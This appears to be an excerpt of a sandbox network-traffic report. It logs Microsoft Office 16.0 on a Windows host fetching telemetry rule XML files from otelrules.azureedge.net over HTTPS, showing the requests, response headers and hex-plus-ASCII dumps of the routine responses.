2024-10-29 03:18:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:14 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031814Z-16849878b78bcpfn2qf7sm6hsn00000007hg00000000e1k6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:14 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: e1c723a0-d01e-002b-299c-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031814Z-r197bdfb6b4hsj5bywyqk9r2xw00000007c000000000by2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:14 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:14 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031814Z-16849878b78hh85qc40uyr8sc8000000065000000000nsx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:14 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: cd644fad-f01e-0071-6ce7-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031814Z-r197bdfb6b4wmcgqdschtyp7yg00000005tg00000000mdqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:14 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:14 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bb99036b-d01e-007a-5c79-27f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031814Z-r197bdfb6b4grkz4xgvkar0zcs00000005n0000000003520 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:15 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:15 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031815Z-16849878b787wpl5wqkt5731b400000006m000000000q9xw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:15 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:15 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:15 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031815Z-17c5cb586f626sn8grcgm1gf8000000004g0000000004nx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:15 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:15 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:15 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:15 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031815Z-16849878b786lft2mu9uftf3y4000000074000000000m7u0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:15 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b92dace7-601e-0097-311b-29f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031815Z-15b8d89586f5s5nz3ffrgxn5ac00000006gg00000000k9d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031815Z-16849878b78qf2gleqhwczd21s000000065g0000000096n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:16 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4fde2afa-301e-0099-279b-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031816Z-r197bdfb6b46kdskt78qagqq1c000000060000000000n960 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
